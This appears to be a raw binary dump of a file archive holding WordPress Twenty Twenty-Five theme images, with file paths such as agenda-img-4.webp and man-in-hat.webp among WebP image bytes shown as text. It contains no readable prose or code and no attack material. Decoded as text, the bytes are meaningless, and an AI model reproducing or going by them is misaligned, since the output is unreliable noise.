i\&-H3LaSRF*ᡒ<~1}I4e]͘'(uLjO}$#7*RI/ч ]}njM]Yh! {ӺqX4n_SԀ4Pai6-bA^CiAs-򾱎љKBΘJQp=V.OS~rۛ/( %ė9,ҽruw;dr3g9ƙeTl|k\\q9aeвP&?^[Mp9wԃu"+9"5'b;:ɲLdfa&/4 uQ8j.|ǟ[:9IMkD~R@S@=`n~* u54d JJFݩ O,8 <09N=7j});j_!:^Y[sVW|-<*NֿvݯaDXSLuX wEdxC[Vq(9[ozpfOjv]K7V{|vqG%[f##{Ѥ=˥f僁][CcA tx(Ȍ/9OG6)b@Fk8Mgnr(AeJzo,R8ا.ţZ8Hq̸6QZĔJ'a]G/o`SO*ΛTiJ4KkDw2Ju3ƠT~7~kCk6} j܂  (ӄg; ?V:[/DXm&H2i-è.&lK͉䴞ld)wvAQܓoTJ2tbO9*I{F |g(W~StQk.r[aﯰ"qԨxr# j"l[0 if؉0a0Jc>+ә@|ƽ#cE=6w܊*Wᚶn}ˑ;!A;N ىPu\iB-W20d˖[sWnX55ՕA T+ u5EP^836]^]bGuYyBIwq$Dҋx*]wdrs'Μw`2[-6!yJMdqd o2B@FGڱuzVGQk09R`V9݌(P vKGt6WhB;۲ <_w~rD@8;! ,#T+ÏBp<'A\dlr4`-f/}>ܔ%jUkjr|-U`N,wh8)ZB̺;eI:Z"hyN<:gYzH/cTm&U+7ȰA;9nq+)V'HAl|bHs[&8%!rO4ECAUd8}1طVHbaOl׆*l'Ozvob'UU4~\R0'ݏn:U1N%cHpbjsE Mߪ-My =^71RÉ%80ө&Wn 7ٕ FY )^[7&f3zȻɠ:ON(l"1'[} 3 nf8v'@rC?#z:WƗ`a"nc_F\ ~Dgo9T7Q{lk$Kd=(rktX#z}.MwKz|K㩬~u %gmCͦՊ"cx!L&ZE"Y\'4RI6`pTaދ$q-X'Ϡlvo? *,i]k,?EwKT kɒ@@[+E R,7ݞBy~ ,vk뱋h6BE58qMb1z K >v晹4 \IY_#Uc"ary*`LfV'vrIdޯ)kH a1|<WSI[vƴ.b[U2US1[#~d3\C x!/iT*ll^K#4V5_:wg;O`+f|M"=O3pm,Ygj!~zJB3[R3݃MDuT(pyj'@A  zj"GK9c雀$&;}Qe$ hj"lA^Q22~ƒ y]!N#7al7C, 61F*+?BB3Q\nǨ'c0ii92iӽ`o"v"/1%)*Sb @Yw=Lm:|CHn}R wp([hv f%q,!Rrm.sCP\ZKa[/*sldh0s b(4Ny|5`v'5C`dfUXu[8 LYCWΩS\E,CuEQyZOKj1CPln>[cAZ T s)EBhAez|&h 7|:Dt3ˌxB}`3ʹ$? JaRp@XU=5-bQ\tnqr b%E1T'oy*WF"F_T/=&e8JMǖfP~HCƨ ;JMZXQ$dV+2K+od+p|(%_,RWe`jՙrVtșɰǟV @qvux|˅yڐ蓄m-b=E6"-m-<PylÉ;>xջJtPԞ$ic>R~::UuN%8~d<y]ud wd +.캞6 za &ǚhfIt}WiZsN P]Vlלl'TY>ŮZY*]+ʃF0V,Xˆ!o_fTo9dzSןi~:]z1$flY )p -؂΂/cMJ0}enX!VRuMԆAo=)i6'[KIZIO0WXbxwg@ :* ?Ӛl2nsr,v8ˡ3yWHeІ {Of6grц, 萲qIc9Mjdeo4j%l*pj6I$M 25i4W*3ͿoQuQ $sM +\a[[O֚Y9˘>.[4-4F"~"3D9nYD{B0'00)۟*6@E/"/j6RoKhOxBa$qvTs(km_sNֵ@% >IXp*\)&ʹ$Β쐽d.-]QCS/4 Ĝg.+U|)~|U7zlӈp@_} }o/.q=C,I=>߭Ŋ0d倍oNs!W[rO#YC6K (-jM>; 7yK*N6o 2. r4 ml!Kn~]MFK׎_FIj*l47jޒip(IPz/K}x0ʱ> ]Vr#3Nܻֆ&g1a`n5Ƹ9zJ?t?ʮJ:+uSzhJtN=]?4ǖuVΞ1oqjNdr#z%IuTz81$j;5$2԰-ޛ< ?*$T9atTu W4 4{m/& A{+uȘ>H{PnyLH|:P2!E@M[} ax Բ/{.Cn03r:^|%T&np Z igؗu,#>]?l6.SܑǵeQ#Yc.iٚb6W~]JjN>Z> @lT^H=Y~ڽ'YN;lwWTVě$C+1x‚iw&9,;dA3k. uG6A9ZG é]߼wSkݵ$2۠IǼsunP>Vؕ.߰"3<В=-#Kbbº -n#_Z 3!dі՗^H 6FbB6cVoxjwΟ5 uۤAx4SEq_O7zSeh/)*BE컍kV22Q% ,S'[TC-ރB+7 $לf_"%gӦr]dMW=GG=ң缚o5Qa#ıGRJ^W ,vA@ KBR0d雒mvh߼HK'S8 gnrR>7^?tvoΡ d{Mtq-C}ALwcYL\$nQW.L}A'ٿlt- + !0c}{KM1E"WvE.!n*`S[jȑD@, P}濦ڂ.PCWfxr&3N5s@/^dBP@;3ʙ/=P. 18_$EX腸hvp6A(_.d~ ,N58s'=Ttl# tK-l=|">PW%c=.RƩva~p6FDžT$֠Ȇ r+ l`-\(nQ(I*>6`5T M1V!D-ѴIpI[HKDh TA0!q @jpP Rq`BJU@Z ?Co0B{@[ mzܳ4y RG:ӱ1\W #HcgWS7؟dqLOP]lJ8-r^GE7pOOw]Il]t DlUg Ǿs޸0CbNAK]4"rD:EB[@Qst| .#ZLY-8{{"Ejxγ5GZpڸ`vº{|uT,.xKLL}л4k)Ɍj)p]T$Yjf;ڲ%FON@;}( p%gS]0F"Sϒ9%^P6n.; 'cq8{5{T.!ԏ{ P,ʊحnJʵ Xz+nOEaCYb{ӽnvQr[1/S]4WW ?@՚a^^*1q:i*R+hAb2f#DθߚEm{%|{!χá̻3@>=##/rAn):{cz=hU0 l+Q7gҶڀj_s& %?!IccE*6He(m/LQ}'vdZ]xfE8q`$Wn^o M#įn%,|,p M3] ,kl X)@bmܪ3Fm}Xn_`QwHAXe|edb ?$CN@B3PIХ.{rt+^j̷X}-~ 'BLSu ȅF֌xWI<E1,=JLW1auok (X}CPQ%*B9=4o8}B{\;ʟm>iU&T󘹔:GeΖT€9=6c%]TaWQU`csfVXؚQ+l 6*OĴLI0[ZTP\[/R k%}gmh=$*I)H!j m?atI.:%6/ܶxjǂVI5(4<|KiZ9X]i9r+'L^XҚ"ڎnb9U !!^4ыKbDŽ@Q >&Pk ,!ez޳VTN3C[xNY&U\Ŕ!i cCPʈVRMiySif mِαƺW`͒$\#[bkF&*~fg&ڮYag(&_y:7)F,M@ćYI6"ycR"Kl|tH)B'ihCk)IiqHf{>T'd҇7JA]^-G&F@T j2aqWvq+cC0cZ}94 # tGWF"b]ggF5"Eǟ]B"ޔ=^Dr( B3`Y |$=ĢGzst(-ґNl*_Ik5(bu\eFC4{HpWVlzC"bMM(%a/f<op U_c5 咰b0"SVSn <t.hc]gF;ֹ/daQs9 <_9D=-IEgRN_B|Q]!;HIo\WN#dpOswz+ $;c9MߵG+b~Jt} _u?TЀ]`&؋ЭB_Nl袣~tR NQm@kT- )T0~F@_qe;Q\l'쁅DK(bHnIWuEX G5dI6ѠI"Viߟ6NlMxn06_!.3)cS R8 udFdx}߄AtHj W<\:y~~s⏭bigQ?Z@DV( `K9/$\= éf_cy8~cԤ,Ɇ҄IM<6xDu`D-b"o!=~;ɦRKWYx&'3];cR/1$` UthdODҖtzry pxHEmFk>A sď ƙ8(cUN5ú.s*=ޅ-$z -O0c+֮wnҏ!ϯ1j!1 SJmg%UHLh4iEe^x PC#h5$+¯ֿ_Ny*OD_ِcjb7iK-2YqHɑpE_H#C@0ayR PEPa4]a4P#)'Dۇ/g#)kF4\ Q?2.é 9 fIĊ ?GDg@j kFj!VrmO`ά>w "Ásȧ7cpjl&w) 3%o_=bph[*+"&ì*,o&4R̶~+R^?'}b43`Özŵ h!V<,犖'ts`IT|05k0lo[:PodRU,$%Q̦ej%\|m.,.Q9>)io`ټ2W}I1 i\@t?P抝DKB冭BN6'<+@'gtW! jA}D԰2yR̀Vh *+;a}/M$A=G3dl"kH$1r?j`lI5/ @(vIv$o&VɈD4!:0.~xe*6A6ɬI\ 2,JO[(>pk+6+ׁA#iUS a%qGWM(36wfGp+V zVhV76 DPA|POupsBwW-0rEa\e?4Kmg>!xîA=M[WYo&Hd0DHuR:eiR̸)7iRaSw^0ֹ.׹dDʏA#)Lƭ54Mq'P~Fܻ_2{*K*I.] e TEw⥣~uiF?m^WmB9A!FC% m,"s` mM W)O'U4>UpT^qYfCq&s^9$37j:Y*€-;(QjtA1[qi`͊z}q-%ʞD>[m ohC3nD(vdUQ1[XӫNUX==ʷWJ`d"hwjkWDqBmf!ߓlmWt<-#5Fp{|3U?Ψ87=7?5WBy˒5nGtY\(h-qLgO,ˮ2 fxT^ob,V:[~^>A?i]\G Yp Tuo"zGȑlڌױOixe/v};}6ӳbW80Č7VHzZتQ^Oa~:+mx$/( gZrs >, 5'%ii)!ĐͶ;aJZ0[c#3ڧ[k_&4+~cif=A5*[+`~ԻpBV*@RZ߭h_҃b s VSqr3(dW]J MoO r͚^WՀ1&vi0J~"9E(oѾ4b-'nI~aK"޲+1eg53l um2XzT]>a<ɷQ Xgխ4>6= Auݰ7ULCӚ 3,K,}I/u*+;h >o6?:GQh3w:ZKQ]}LFRܖ*p6kJC5i `D'gF5kJqA-*9u`Kpqb(2*$Jf ^|ǿl^o C#;"!t}2_.޿ .  '6hJ(FonF\~9<;4ϋ+Y%l;w]jD"#9 /qS)?Bvu7wnsȿJUM6-usl@J Ѱ0|Wl"Q9HGÂS3?iBE;uyh iw{|u7d3#Ixezq5}cza@Dhj7!sui]S rc*@b'Js',yi+5kC(gبXࢿfg o5wN>g'p! (hAٔr,L]9\KPO*ĵS-߅+-4Ӫ;T X׺üZ @u-Zyy[݅qpl4]g+݅EXn>;C )Y]ov] ZB+&2F3FxQ=3.CA,\<94W! 62Մ:U a׾7K'L"V0iG^u_st.pgX+ޫ9)~$?UhL%K/tr/aD 2CR!6ÿ{,?c@|Sue 6-.fÎyN`{A@q)Xmuo<6֣CEi'6P?f4q25j"-Bbzc͌xaҹ1Ę]jW!8lMh fv<[n>X!K37lQ ai/ڴ kb^61d/m f!%i[|X{-OYrj !kHQFkd>Zw v6@pKlPu02wB>_8>'%z%A^:Hd N@~&pWEr3Mdi[D' 8: FeCsynuWt*k{̘rˁ c8oktoKԥMА2a--8Z_ 5/@_2V㔢Lo ,TZll||X&hLǙCmL{Dn#qsIzQ gB}^k,+&&=_h;mf]8,(g:B~eJn֞>h(=G/xS"YO _3b6=:, ֞ߧycJ'ڨ/ '?7ȱ e"q r d :|cYq=PՔHYru:=gl1䍹CRQD6{V r8meSs,R18@Wc@N//#FAޓ^5cݬ&W ~qIoV @#ԧCl pq9SQKo@a=IOw`ńz7n侍==5zڗ2cܸXd>< r)J p2/u=<,0 u28rʚD}R+>Zc7eFE%KDuq>v=+Qy6Zҍ+)@:la2x>F(vG?-M䶴y}> NLNuv obAnny,V վQyq)g1.߉\IzkUK\tB´b>Y"SK-P BDŽuxJ!9p;=NjN* 9>$9NJခ4ٯĔrQr~f@(NY<)3.i@` IoYI$ϝDߏY lthemes/twentytwentyfive/assets/images/agenda-img-4.webp000064400000034316152335264760017314 0ustar00RIFF8WEBPVP8 8*>FL%!Y in N~p'GONj뇃(\^b@ڒOPn:<tunDX׏3Š|Z^qC@)ȧq|@ŋw=5h;xaN--1ҹ6KoP{ceɚ09s7n^=1Gtq \"q)pU6Ns8ֺ@1% qΙJ4>иkK%{#Nf Wu(zm"k+JSVؿHW2iQma9 XB*-iRB_kYՁj61DIz,1h=9_֙'*PH t1$1)wl䲸OWIY1E8: whRBkKLi)',/7b°R cA[ĸµxFrx:/,b VRBY_ e*ha4bp+e+M8j#S.T(|XX&wnAK2aEeC^7{d܏"Bazxo3vyiK,Ė?Q,ҦB GMW4Kx7o}*RTꢷܸ(HyU7Wup$$ jhqSȮ;kQ.t}ڡG Tq(3גw|ܝiKGscJVy;%Z.ѣm h<_(_bEԻe?DdMfȻ ɺDWVL+7>XPj4="3^ '.|ʑzmKt8 m7eh3*ڑM/2j1C?iA-2N'ֆ7:ތjT\J]Cn\@q$CmU9S0i[kn_TP_."v4]2ӹ$o;v1`p}9lT6 ^X[륖!ŖۙXT Ҫ[dy󯞳wk|r?/Rɑ|*PC FCsqE˹sBICvUn E7ު쁹X8M'"+G*P˦g#CstR ۱w&{WGŰx&^R4J F"D5*9}3JDQg.[%u N@sNXχ3ce#sO~,@5vD>OlW8 mr,G,T  #VSP:B:iYVR) /urxqGyT_ex D6oUTݥ3箈Cئ]2}>S#IGRJ2kwmWuè)pf{۔+z/l5׃&*SwP{B5f & W-27n)Ǟ/wvzWdh`ը(J ׎b9A=ٜqQ17H+4ܫ_)^#Td*Ac}em ! e0́j=Ms;G!75&Ve?y( I)Qb{L"x^]40]֦'y_EvPOEl퇼 oVx(YwW?罦p] ؽ2(nw4ZMC^ CJ$SY,DL+{)]j,f9cQbӵ4 `EWEѽj%-,S}27m9)SAX4*C/Ÿe!7ΐ36 DoJoTQ`]i( Gˣs w,yLW@}xyr>) (_ " `3&`Zwˮ_y׆"§Y?fM_:EMlN~xQ0#:҄?`dC v 5m,TjJ $ׂ2v;+C44Ƌ_l/EbՋ_(/nu29GZGJ.;w 3QUsI>^$;\ eFaIqfEce-}Z"^GhXSJ2W ,oxӖh̚gwS2%zLEqeW~>N My6,¼?0y^hwDIC!Ҋ*\9d[T.6 쐴n`l|w/=&s2r599 }ҰL/|t0ZOLxq?ӡbmIŖfWɕ u?"Yw)`IWNO u3sxUC#r m`hGx|Y࿤Iо`1CIU`:=;s|d>g2 ځ,꼷K^}?`-{=1ތhQHbGLWbwi :r 6bh1O 부KME l LD["DawfC2|FGId9N-oݝmcHMnK0p3-7 s8QA{Ǒk6Ƒ5', ª,?.1^HD)N{t+I eH{ׅ fH&{vS܀w1l`"<_n=?HVA7c508ӱ'1ÈTĵ!2!h)p`C,i5 (lܫs]zY^U4< &,H+]7#=qi =ZGm8Ws QtlfLX!6HUR8oZD ,ުJ^|2%3mH~Afc98P $@ˤL$6"I_*?bp(To#sCǶ]x1B=S8|MFz{4l#ԊG&1nSwی>'\hoi5% E\NpN+7Zk@8:"!a`RkPLV{T%/˙ /XO٫)QI$s`;J4sLLj0uuw?14ډo[=jGŮC*`),DNRYka_gzMrدt`iG>|nA4@)Z аy竢 'r!e%E:AmrNU-c*V؁Q®[ʽTpRF W LIv{︖"v}/XQ?lVR+ڪ`W./kIkTЍ"%L 3?YA-.CS O1xJ.Va`ƛnZ }ꊢXT|v-`@D?oy-`+9}IAw\Yؽ:(yI]B,Fξ3Ѕ1~1lF,; VW>\Z 7ƶC`C(ָ]hRE1-tT)M)l咈\@Xib!7ilK=f yL6 ƨ[3O1`W_+ m%5ʫC gJvHa޳,Ƭ^=&D+ieL#a{G j!Îe8V?uW:yo?A Ԇڥ[8oㅠD/&6LbcYN7vcgRt1^4qwK<q"wQh c@3q9˔r\Po)%q>eLbi_3)BMkhl<Ïiac#B_I$ ^Arp,Q6aUE$^\Ѓ, m*_5gAQWGRXrݯ\y{A37bYmF~dz{ŗQ ^F˂0-=Z&Kowkڿ zaw-q|-Ejzݜu#~\4]âm]8ډNR;֏6KsO͗H8 j\J0ytzdxc焻lGUz\ݹKr!yP<ÿc:!mO__ Ȟk^Z$|;w{ ƗcafGU7,Yt=w>v_R~{.$E[\TB%uSL/AUH[ŵE`t(ev׵Nf4PB.*\brG6f[ȅ ?pD$26bD.Yyv2h_xZ/pBEA{wl=VEYˆkvo.GE|'KqX4h̯@HP<}B^:\({KK=ֳBȣd5F@:15NX_݃6tZ]ɌD(tw!%w7bSQdScH `]BOI@f0rǵ;`R>#M +vUbcZ*V&"id>ܽpYlMYQi|Sq] c C( f@,#IЈ ;3U YVn=b.ȼ֬'8k~)>9!&GlӉi$+ N$H}bcu3PD&ƃ߹T%lk;cFsSO1Iսu#}B>^v-z}Lڃ[\w?=&Z#NJpOv#0!aM΀Mƶ\00sn`5pj@2$c+q~x!TJ?<*Aoqrᖕ L&+ؒ-*L]JHR}- : ^/,#s`7H'tA,V[ŵ/g&Y2JVMW|Eo|jWf=~*[6h%5lx~pgj,޲BDӊT}Q^640Ybq?fwpO3=C0ɋoN~mпi]v9'kPv,qda|,o[:-KBP:2^} bc`˩7"/sW4n`LE ;Pbv=;$e-)5hXĘe?be7R8Sf#㌌9fl}Tkov:>C`)8S!oTlˌBIВQ;~g~78ЙՐ=qI gSuK@u[."7?rwd*Nbñdvʘ*Z\9Тt[چѮyiёn^e#Ga2r!ށciXS`eeˈ{O1b&4 `Sx'/DFqyH~FSa D{≣%)0\ك>bg'?xJ]ϕ Z-Ș1]Q#;:T38v{dzSN6t6? T{$^b/>+L \b]w ̬DPloI:[8 USENήO KY0k|e#Wa{4? zRN]ംQp/oLQi;X ȱsOǃD?J5cޟ@|0FZ[cݽQ'pip,7(d#_ ydJ|rpf;5MkTwpJė@7t%\?(YW9V{KF7 I_u+41޵Ngk];?Xά|!6hiJ'd|npzОB h8=kEY2Z3fjpԶPtn {obѐ5~6!r5.Ɩ-Z_]R֛hq=! dwwĽl2njj'x/R b#I]E74>k`y >cI]l~4ihT=o?h[`!&̖a \,r~=ԣm̞RIT[3HHdoX>~¡tv-a_R3-^ 9l8 X¥nYW-dVL[SZuLQ@k59}vK廔4p \@ѡ*L".~l7f⸥t>o 6ytkNPP_.dX֊3ݒ7vZ*GhPǢMC#V~<;MCPg##rwLc!?ߠO ܴT@8ٕ4^)M*u9=^m'f=#'0 BhK9Op  K$z@K8z-#]t#A+e@.iDey9WRۚV8WD3)SƋo!+pe| gDk\JE$2qE8)0⹴{HycpնV3}66DjO7<z |j 똓RTU9j -yv= \޶VO`J[OZ~:tvyNޗWIђZRDҶ lW禇NGX"hP~zd-Oŗ }`>9 .r)܉5}?)qֵ5BmT &HDJ+tQ\)39WF,^ @ȋC9rwm WVx1k;T};d{<%Pқ`Eܷͦl? ]*8ߨyy^pL@=x#|u& {r (>q䞹 .pysNJ٧9%+Ѯ txP2wnDuH}c&@B_I!-{gEw,Ogdj# jq_e+xJ \42>\ql .CCL(ƓDe b "'2똳KzE 䃢nO߭GKbJO`Of2}#ZYͺяA/!q]b#㡛Y eRԑ8?THsN^X26kf\1~"<ֹ*$/s%eAT&R%74yH'oqЖ.VgO!e]Yh89 hKGk׺!$]eN70V}`:J&FRvPb"1|^8wĆ#MZKaE! m@`j'p1|kn<^-ȋ?#E #6FXXp Ҥ36]U}C,g*_m, ?R>kAe 5BT ?P O&I))sʖ#eT Q$269ce IW9upXkR& |h}{Vh-3'P#3AT$eύ: @ևAIfEA,*ƫ^]SD:`^VwQ3,3/ OV44PX 2Tj(UgeDPu5O%E!6=0=4M~ :1 ?>/,}n>9;7Ofbi^ጊ$6o "? ̕4>B-{=y$>j*g6Eoǣ zXFG}Nf)ψDH}n)dt/=G!bfV"1KTB@61{`QI@h>^^GcbG%+\׆$#Ra0Z>툰JS1h=V"] щ-99׏%1j]M$VzVYpK0:ek^oy6kVL>Ưd[EdZC&|X?yŅ2 =Ax&vI& c z2wq#-EJT ri㰧9) xˌWKQa ҅1Vt37c. vP[ ]%2͓qZ5fS9^W+~*de9g'V33b_H:xVw.ɿQ ~ۛ&4M僡Am1-1 K᪚@FTN,x'C'7t65 e寓JGD`AbLTW Y}#cNJ6G6*.V.d >N{[yw <])VXh km`g _B`iw 2`)ƪU e',wm~P Es3'E:!k\X].&sRd4;#Vb$STߤ 楍5\} x+Ȧg"aauًOA[_Y s6w||z\N\2TKÈQ^( kEE 3n[ceۃ'ao5su` p h 3u\.'rwf鞕nlf x@S8e"yM=h^=lHxǓ*@Qm{aGGJ_򖾵$%gܖ>}-8ҫj] C7:Wl6!=><)+{ȷ?m7)/aWENgnHMwe.[L}9DG&5ӯGJH9iBonQ6SY աGl8)gφCɦ} 4:nLxW^+`+ǂ=mU?6Qֺ>i<K' MzD=[' |_CX:SyBa2wEjT="i ;֫tOUZ`jvqýuߋ<fҖ8{Qd)PgUB?!֚T'Ji-BWJ'O|pԐO悥\Pƭ5p+CBJ FRյcĎ}G˥`$$v"IbU\8F-5d<8=z1^T}SDS\ Cr.d8|vmf.{oPEq}@KQ"CUnD85GH|RV/`HFS:y@mO^>!/Xʟ@f 6ޭ,dPJݛ# Lk`ePdʩ *S+"Q!\ҥ&ХnOw+5-v/xTDںx3\2$RrU(Q˄#H|y2lϺCĥq i^^ V yz̄G^N7m`TY jCRhSTi*a3o703d` 1:8kcOe2byg.:^EUg> ?8ALO_d mTShr7);b{,fLA}@aD'v94Ra5hL87Ӆ2Z?.8$.n w\k!B,a죥cNC:U>/ Mn+Dw#&Ć#ܰ HpcI7;1`Bnd1DBpX#^K}?q# MMdd͊fB^ xo #Jh9,>`E} tgx&uV# _-(H%0>s˟ι).cgrʢa fT,fen_T|ZAŜ>ރV4O ˛ʘ$rrm J b?|Mتypgj2{1ljvM&>t Y2z6J2򕈽hx̰7N²sCQVrmJsw #y^ EPES9P"KD^\NHcr Mр$<&ҏm ʙ QGŒ>NX%Mc&<5';mcgKu#H毌[QH`]Z`j`| ЕWj[p :%6erHk(9ՈE`oDl@[du[daR?%ˍ'5[?q^Yi3\}ȯwd)D{O_Oml=A# m'9Dǖ" )w٢܃m _ץՒ*25 |PI8;ca2է5n1W _AH'n;k>PS=='B=m{OrlΤUBvr:&BXHwա.?90YoX<=h+&:r*kyQqA4c U:Y|!Q0_]NN9\ ŇI)"gs迀3.6_{>themes/twentytwentyfive/assets/images/man-in-hat.webp000064400000105072152335264760017111 0ustar00RIFF2WEBPVP8 &P*ll>Q&E!S* ilnO`ʏOGM%r|??~o{KfK;_OjI|>MRwߴߩ7o{ؿRwǎ۴FPռL,Av 1JIaah~h(D\*r]LIl1 ӓc|㇋"UrKs͗}zgc^I#z|x-A^ :>hgM d`vU[T)'-uVi0ڴ싚B3)@ў?y`+ !ۨzY/ꮑdc n1}}QGcU\d&kxxm|{%:)t)08lZ~ =g(]c8CU:L$dk]Iwj3&g_q1VB#Ri@ɘpgūоWq"^mm O‡ rt[lG5m3j\=Кz(4R.]%QѽN*BaJSmJNgyh(@[?ȳߵc&d5.Bqiw;{PT卒YHkH(誐ٌ*:U&2Ɉ)Ÿ"JJ:$kB A\OYqm-"슲8@ m~/K3Uv:Fk"޲f^ mT)iKB~_9謄AUp$F;ԯ4YsֱX1 ۅbE t* Ƒ1܋0A+?f1!rpY1'h94^j+FaST9 ] W7BB4"QlhV4#ً|Ʊ!Gyj!]5Cfk]&Q_,Ff-Xiزw>ZDFqzkqobh^Hop鄡~ݛ?/Eo D倩}2!lOaPIº6 l,X xxr )_NMVi D={;Eϣn!!;hW:cT W(9UWl :*H =gʮeĺ {mM2 2ğѮ )63 )fY)^*Rrgwó*pՐ QߵD>A*#DVWp }6E!`hm"5tߛ/;4:c9A kMૢe K:\RvgWl\@%QifZ.o~xb6.[ טpvWk+@Sь2-K эu4.v:EE5 `1&7>-k}QZIThmۀ50Y,Urlm\`L-'yJ3r2aً<8@vS\C<"h.4SD\ˤˠ *^O!A]]UrXCTLiQyP^UDv ,,,ܒx%|" #X!q3,@NB`0oVD%A7Y;t Th-t@Nޑ+䟰1CKT4RIABl?IWp{Kc<TX^l9*5^!<π75?nQ55yMw~C>>?<BGsUbh#Ӷ ;SgS5Wz:{B377Ǵ?S|L" Pւ.iV2^7JS"R߫@l6zN>ڶYa r xT~:6~D$ߑǪ'jGްb1G<>TjӀ66XˬwQIA|ih1.ʔ}k3;}춍ԩȝ8F|Kw^x0R b(6~*&Ax[.l<=pPxz/b {1QTklɍ DkIeE"JҴH7w ٢؛hq+|j%X !qQ2s eh6@Į1ΩSeP+d9_ Pv/ĕx}HWkȉCdڋoM4KWeh|`wJofCobUݘL)a.33.1W8TdQNk1Cx\qZݺEq>\Y+Q:4ǞXjʯmZXTo `='ZAevmmhgRx 6y :뗅Ob(M;Wm̍qы5%,{fx!p<>MnLyf4 jg5 Uf$H2N Z@ӌ~4BNq!eiVZ1G(TA.Y\4?AlPc9mCiK[S=PbB7?UӠw8Œæ4[%nz>ͮlSzBWٳ_^=ߦl9o|%G^ރ!F~օJ=.Iw4ŽOBۮʜRcgPoesL gh`nDD\nUf^Sn1[R`|ĎGlzI⺐&& ǣ8 I<8n>3\PDtPc v19]O2jSkݣ.?{#$h`AP[u j'S=|?KU cHJ )7et>0L%B.2 G_ :i;jE9#TE3͒}^$;5@O\e+>Fxdx |)U1x&k!Ӻɔ2yݹb~MH+4QZ$(qww3Ik5Jp;M4qփEM}Ee}-3xbO}e‡>cK^IP?ZY `{ ̂εr Uʁ٩rST@9Q{c~ּ9תX.*N^ym܇U4P*l9"vFybLŴAeI+!La&SO_Hi" hA"F]p[ED3y;e إzDҘ+MP~Ձ_ 5~ ?u(p6~wbF-T 2^tEbVeVOsC zjĽel`{}@}UfQҮQ$e(nS;)!G󄥭KS]#udN_ti|wP6QǎMWQa\,;At,v~u^K>;rKO+|52QF2SZ =SAFS +is-d.(&gzp ^ )+O i8lu 2_䯥UO56gR@cy$ J iia&Mq4eR,͋_DW Mi-}DtrhMPR_YH]Z΢hˊP^ O< hLe,"@ AAW|tv66e2ȱ.l/Cnc1Bv&E9Ka )`a5 'q.>I,mI\X}>m\-υYYFbCVix/(F"G~7Xng =ugWe? xtgIjy7 o# ?6PG)KI6"֮6AJ{*lߵ:R d1 }X4 (aGR>IQE,!+Rr/}{l/t! swBu6'I &m]b%hv6i?+˗|F$9ϭI|U>hk%lSi./ *V0*ۏigMCe"h;4صލ @yml=}~4=%# !?f~4soа+2T' XtȜiVa^@!"=TpPES~â#4&Ok @SwDƦ@K FOJ%7N d)•&!/mcOJ' Ad|I O餎򝞦y6^$S^}9'7؎? mMy&uڗ*C3j_,8>#W03Tj^~|ы`sNglG=[e*4Dȝ?M:;4oBw\[Oŧ^c֖ 0=g d&/WJ5cPQy+ %f I &H(uO[)b]hՕ/l{;7H="=e8"* <$_6T_:)O_JG-/.rlAR^ky%ͪpAm&!,3lY9Bj{|]GσȂpR8 ;W Da:{`xڹbدK#Hڑ) J7aCg{W=,xoXzߘo OORG9/ ;(.RM_ vr\jV@'glq=~b͓+ ߼ahYW:u sE_9r غoL_;dbPve?[4]+teNF7&QoSMqxl6{̰S q Vը+o6wf! y@c0AjWo+"8{Xmu}@IIwCC995j\-T}z"bOG&0rzxDǸv+ufUYTxQa^mq5H;8p9#iM.=n12 &rb{FT_lMhc} i!9`M7!sа.gc'9uK9V]k# ]28>^$CYB׿x-'ӏk.Sڡ YW8:f0G.@)o w^IRwVZJwNDCu $kȯTQR5U`Qq teJw# ^pJzm _ C1uU*-^xƢ_AO=2n}}H~aׁUgviݘBSU ba$T tU1/4K0h-@jߋ[롍Llݡ0ە=G8j-Έw~-qăQuԚ-YuᏟO`D-68?ȎlTGv)VHgOMQ\~O dD̵$cA7r { Y|?+ǯLNh ?==&Wwūsջ2>Eޝ>TےC. XNjc%Dy7RxDO13ўTGWXak`,Xtp 9bZCpDʁf9>}Ё : j.|uÆѧ/Es&\Esfc\9&۷w=o_G6h|4ok _|dzH3ۄ`khWa 3OÖ)mWKzOlNۏB$Բ,*VaXb43RQ$1[>u4/ 69 cL +/'ha7Oe'/ѥz8=q!0+P)i*?X^smL/hYKeP`B +ҷ{qv]F7?Q`eWzWC,ZVVq^=캿#tHpՅS<@Үm fk.sq2e潡92n>W擡u+(#+Qr+ڱ:1?rn;RsC?ɡ(>X(=lܝ8^ CŦmr6=y%׬Eݹ֚Hӡ;R?BEڠ4qu҆ tv7@68$OgK{1,9TDi*tǙ9̗Qف)Dywl ()Nּo[5u؂z0pf6A 2{EF{vK~bxXcg+WDmuЇa!i8{?rH>/X#Hj#Zee_KocBT'0\$3hs;p1le ע>jdذ*smr0#d"Udbw+p`= jYW tjiGSq^)ְFYLĀ_"WDHka&fG9葹{E"P-Ί`for7RH~q J-<,w#qSG>3;0Ė%H攘QK)HGtlXӴg,/C Ҧ7 J>e 0c0G3"9AW{P]/̃BY\hD9sKƲt='h婶pg3"wm'{S9'5 BCy A#5`Dŏzj. 6)oo9U@.blcμmj"PQ_]!ĝ}HcnSm[N2ŵ0}k rl&Tijgm7Gp !gUzlSkM*dx>_Zp-IkH~FExֽ,'~)ߕb~Vtn(k8 D4nvGY';1eF$mDI|аEΫдb?I=!6[eLj#vyvqHWS6 r%~9,1 PfEK][bQH6av9?L`HލRSc߼\85[. VߊU$XU,JZ"jGmÂo{dVzD8IO8hy<- g!pWS9}H*@jH4Z,cԮIsLG\c%tz6lު ;!Y84fړ Dï9ʍ""{2ʇsgwf [@C u$q$'۟hX Q?|_.kg|o3g/ifH.8c/lI)ULMh{0܈@^ O;eݐ6uLe[ٌ OًO~]i̩ySdJ"sD hJ@5Rŗ@M4(*^sIx+qw`?-#y4zv)81׊8`!9ѡC7 nf*r \Hx)2Z޽CdR hl6Qq6iV&6- V(𩆻Vr9)3C:V} 5]kN J9|P3Vɉ4'W-˼F|Du\i_ǼM k>u] 7+5a ZXh*Dj/W >B\~UQf07j4=VPv@6bI΂[U+xuDZm&GzЈ'wJ_?:${-+B /틤H w-^B&FWZ- 0,P~5Z!p?R]tG.o=4 dSݪ/TRFsƢS" F8˫ȘGxM^;a,톈.Ro?Dvi+5)\a` Xΰ-. ǣ)=ʟ=$˻~`(U@q?C$%4A'y9;Z#ȞE qvAcm_rP]v-7Ptuzmb:yikU2FM/~9gVL;aVtMn$}#2Yg3$1щƄ8HABAGsz/zP,'Emzf\AQ%TFߣJ8T{|;VTL4>YjJhhG4K1[1,h]44`] *<:@kxX֞ +A_I@B0Ex~Ȏ .CHQeBi4 D+vȌOoUzb5bXY݋66-*,Tg4JIߥ-=c<49ͨ WS?㤖%VG1]h3!*M6ڗ7&6"=.[1+4x@,* }dؙ zc hgG<ũ?q9 ۧQ 